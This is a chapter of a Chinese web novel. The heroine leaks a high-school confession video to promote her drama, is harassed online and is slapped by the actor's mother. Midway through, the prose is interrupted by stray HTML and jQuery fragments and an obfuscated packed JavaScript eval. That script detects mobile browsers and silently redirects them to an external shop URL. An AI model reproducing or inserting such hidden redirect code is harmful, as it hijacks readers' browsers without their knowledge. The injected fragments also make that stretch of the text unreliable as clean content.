文趣网 > 其他小说 > 冒名之恋 > 39. 第039章
    许者清将两袋垃圾投进回收桶,盖板落下,一声闷响。

    她没走。倚着旁的墙壁,摸出手机拨给昭昭。空气里浮着一股若有似无的酸腐气,她没察觉。

    “昭昭,这会儿忙么?”

    “还行,你说。”

    她停了一瞬,话到嘴边又迟疑。终究还是开口:“高中邬陈奕在台上唱歌表白那段,你拍过吧?”

    电话那头静了几秒。

    “……我有啊。我可宝贵了,存了好几个网盘,生怕弄丢了。”

    说完又补了一句,语气里带着笑:“哎,你不会想让我删了吧?不行不行,我要等我们以后住进去养老院再翻出来看的。”

    许者清扯了下嘴角。

    她抬起头,目光扫过墙面。墙角有一张蜘蛛网,一只蜘蛛正在上面爬。黄昏的秋风一过,网轻轻晃了晃。

    她收回目光。

    “帮我发出来。”

    “发哪儿?”

    “社交平台。用新号,别跟你任何账号关联。”

    昭昭在那头沉默了一会儿。

    “……这么麻烦……等等,让我猜一下,你是为了你们那个剧的宣传?”

    “现在不是酒香不怕巷子深的逻辑了。”许者清说,“不管做什么,都需要被看见,才能活下来。这次拍片,大家都没收钱,陪着我折腾。如果不营销一下……给他们捞点流量也行。”

    昭昭不再问:“行。我回去找。重新剪一下。拿我奶奶的手机号注册,给你多发几遍。”

    “谢谢。”

    “谢什么。”昭昭语气笃定,“我超市这几天也是库库发了几个短视频,人流就稍微起来了点。你值得被看见。你的作品值得被看见。”

    许者清又道了声谢,挂断。

    她没有立刻走。站在原地,走了回神,把手机揣进口袋,这才闻到空气里的酸腐味。

    回房,没开灯,许者清在床沿坐了会儿,换另一部手机点开AI应用。

    “如果一个素人,把高中时候向她表白的、如今已经成为明星的视频发出来,会得到怎样的网暴?不要安慰我,请站在键盘侠的角度来摧残我。”

    AI思考了几秒,生成一段文字。

    许者清戴上耳机,把音量调到刚好听清的程度。一条一条地文字转语音听完。

    恐惧有限。提前耗尽了,剩下的便是面对。

    第二天,昭昭给她过目之后,用小号把视频发了出去。

    视频冲到了热搜第六。

    画面里两人面目模糊,但都青春漂亮。一个在台上唱着表白,一个在台下怔住,继而摇头。

    评论区大多温和。有人写“年轻真好”,有人说“邬陈奕以前比现在活泼,现在冰块脸”。

    许者清看到这条评论,认同地点了点头。

    往下划。有人扒出她的身份——葛颖超的侄女,姨妈陷抄袭风波里的那个美女编剧。

    ……

    舆论叠着舆论,却多是善意吃瓜。

    许者清放下手机,呼出一口气。

    AI预演的恶言,不是没有,只是未成为主流。

    理货、做报表、打印东西。两个人闲下来的时候,昭昭避开自己的员工,压低声音说:

    “就应该这样做。胆子大一点,你没有伤害任何人。”

    许者清顿了顿:“主要是我不想……作秀。”

    昭昭瞥她一眼,神情认真起来:“呸。这算哪门子作秀?你没撒谎,都是真的。”

    许者清张了张嘴,没出声。手上动作停了一刹,又继续理货。

    当晚,许者清用备用小号刷视频,发觉风向变了。

    起因是昭昭用来注册的一个号码,归属她舅妈。舅妈的账号关联了张伟雄的女友。张伟雄见了,消息便传开。一传十,十传百,全班乃至全校都知道。

    真正的恶意,自此开场。

    熟识她的人,借着匿名外壳,下口比陌生看客狠得多。

    【早说过,她高中就那样,瞧着文静,心思深着呢。】

    【十八岁应了能结婚吗?现在二十七,正好收割。收割个追过她、又帅又有钱的——我要有这脑子早考上清北了。】

    ……

    有人贴出邬陈奕与许者清的远景合照。像近期所摄,两人在片场交谈。

    照片一出,邬陈奕也未能幸免——没用的男人,怎么又上钩了。吃瓜群众朝着这个主题努力进攻。

    许者清正喝水,盯着那些字,一口水含在嘴里,咽不下去。

    半晌,她翻过手机,继续往下划。

    丫枝在群里发来语音:“姐,别往心里去。咱们女宝最棒。”

    许者清苦笑。她知道丫枝说得对。但这对错,解不了此刻的难受。

    打字,删了。又打,又删。最后只发了一个表情包。

    她神开手,整个人往后靠在座椅上,盯着天花板。

    她已经充分想过后果了。只是没想到,那些最让她难受的话,来自认识她的人。

    邬母登门,发生在第二天。

    许者清独自在家,正往客厅铺瑜伽垫。门铃响。

    她拉开门,愣住。

    “阿姨?”

    邬母立在外头,穿件深色大衣,两手空空,难得没带来礼物。

    许者清让开门,卷起瑜伽垫,套上家居服。

    正要去倒水,邬母开口:“小许,一人在家?我顺路,上来坐坐。”

    “我爸妈逛超市去了。”许者清说,“有事?我让他们回来去您那儿。”

    邬母不接话,径自坐到沙发上。脸上挂着笑,笑意却只停在嘴角,眼底怪怪的。

    “您喝水。”许者清端过一杯。

    邬母接过,抿一口,放下。杯底磕出轻响,没对准杯垫。

    她抬头看向许者清,脸上笑意倏地褪去,像关了开关。怒色漫上来。

    许者清尚未回神,她已起身:

    “那视频,是你发的吧?”

    许者清微怔,她不明白对方为何如此生气,也没有多解释。

    “是。”

    “果然。”邬母颔首,“你发它做什么?”

    许者清略一停顿,答:“为我的剧做推广。”

    “推广剧?”邬母笑了一下。对比进门来维持的假笑,这次自然多了。“你用我儿子的名声来推广你的剧?”

    “阿姨,视频内容是真的,我没编造什么——”

    “真的又如何?”邬母嗓音陡然拔高,“你知道前端时间,他挨了多少骂?好不容易消停点,你又来这一出。嫌他死得不够快?”

    许者清吸气:“您为什么不能觉得会变好?”

    邬母一滞,随即脸色愈沉。

    “变好?”她说,“我看你就是网上说的那种高级绿茶,打着为别人好的旗号,实际上全是为了自己。”

    许者清压低声音:“阿姨,我知道您担心他。但现在影视寒冬,多少一线的演员都不一定找得到工作——”

    邬母面色变得像死灰一样难看,嘴角甚至抽搐。

    “你算什么东西?”声音发颤,“一个靠我儿子才混出点名堂的人,也配说这话?”

    抬手便朝许者清脸上掴来。

    许者清没有躲。不是不想躲是没来得及。从客气话到巴掌,中间几乎没有过渡。

    她本能地抬手挡了一下。没完全挡住。

    脆响一声,落在左颊。

    许者清僵在原地,偏着头。痛感缓缓浮起。

    这一刻,她对这个人当年苛待邬风有了切身的体会。

    她望向邬母。

    邬母的手还悬在半空,低头盯了自己掌心一瞬,缓缓放下。

    许者清放下手,直视邬母,声线平稳:“要打,接着打。”

    邬母不语,胸膛起伏数下,转身要走。

    许者清几步抢到门边,拦在她面前。

    “你不能走。我要报警。”

    邬母脸一白。“别——”

    “我脸上有你的巴掌印。”许者清说,“证据清清楚楚。”

    她摸出手机。

    邬母伸手来夺。

    许者清一手抵门,一手握机,指尖在屏幕上虚按,总对不准拨号键。两人僵在门口。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735814|205463||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    就在这时,门上响起了敲门声。

    “许者清?”

    两个人都停住了。

    是邬陈奕的声音。

    邬母脸上的失控迅速消退,眼神躲闪,手足无措地往后缩了缩。

    许者清拉开门。

    邬陈奕站在门外,穿着黑外套,胸口微伏,气息还没喘匀。目光越过许者清肩头,看见屋内的邬母,而后落回她脸上。

    他看见了那道红痕。

    视线定住。

    空气骤然沉静。他不再有任何动作,连呼吸也敛去。那股冷意从他身上弥散开来,压住了周遭的所有声响。

    他没说话,只看着那处痕迹。许者清被这目光钉在原地,直至不适,才将视线移开。

    他抬手,将她挡在颊边的手轻轻拉下。红痕全然显露。那道红痕完整地露出来。他的目光在上面停留。

    空气绷紧一瞬。

    他松手,转向邬母。

    邬母撞上他的视线,下意识退了半步。

    他不动,不抬手,不前趋。只立在那儿,像一堵墙。

    沉默拉长。

    邬母垂下眼。

    许者清站在一旁,看看邬母,又看看邬陈奕。她说不上来哪里不对,但总觉得这两人之间的气氛不是普通的母子吵架。

    她没有深想。

    “没事。”她开口,嗓音微哑,“我自己碰的。”

    邬陈奕不看她,仍盯着邬母。

    “我不信。”

    四字落地,如钉入木。

    许者清拽了拽他袖口:“好了,阿姨您先回吧。”

    邬母听见,侧身挤出了门口,脚步声仓皇远去。

    客厅里安静下来。

    许者清这才留意到邬陈奕手里提着个黑色纸袋。

    “进来坐吧。”她说。

    邬陈奕进门,没往深处走,在沙发最边缘坐下。

    许者清瞥了眼那位置,在对面另一端落座。她在沙发的另一头坐下。两个人之间隔了整整三个人的距离。

    邬陈奕垂眼量了量那段距离,唇角微动。

    “笑什么?”

    “没什么。”

    他将纸袋搁上茶几,取出一只包。LV,经典款。

    许者清扫了一眼:“做什么?你现在连追求者都不是,没权利送我东西。”

    邬陈奕不接话,又从袋里拿出一件——同系列的皮质手账本,小巧,皮面绵软。

    许者清接过翻开,内页是淡米色。

    “这个我喜欢。应该没多少钱。”

    邬陈奕抬眼看她:“就知道你看上这本子。”

    许者清弯了下嘴角:“那你就买个本子就好了呀。这个本子我现在还能收。那个包太贵了,我舍不得转你钱。”

    邬陈奕不语,靠着沙发背,看她翻弄本子。

    “这杯水,你喝了罢。”许者清指指茶几,“专门给你倒的。”

    “骗我就不好了。”邬陈奕说,“我进门时它就在那儿。”

    “蛮有观察力的呀。”许者清把本子拿到手里,“包你带走。本子我要了。多少钱,我转你。”

    邬陈奕不动,凝视着那本子,沉默片刻。

    “可能没办法这样拆解。”

    许者清一怔。

    “这本子是包的赠品。”邬陈奕说,“为了买这本子,才搭了这个包。”

    许者清看着他。他的表情不像是在编。

    “……你是说,为了要这个本子,硬买了这个包?”

    “嗯。”

    “因为不买包,就没办法得到这个本子?”

    “嗯。”

    许者清不可思议地望着他。

    嘴唇动了动,又抿住。目光落回本子上,手指在封面上轻轻蹭了一下。

    邬陈奕看了她一眼,没有再等。

    他站起来,把包拎走。手账本留在了桌上。

    走到门口,拉开门,停了一下。

    “手账本给你,包我自己用。”

    稍停。

    “或者——一年后再给你。”

    门合上了。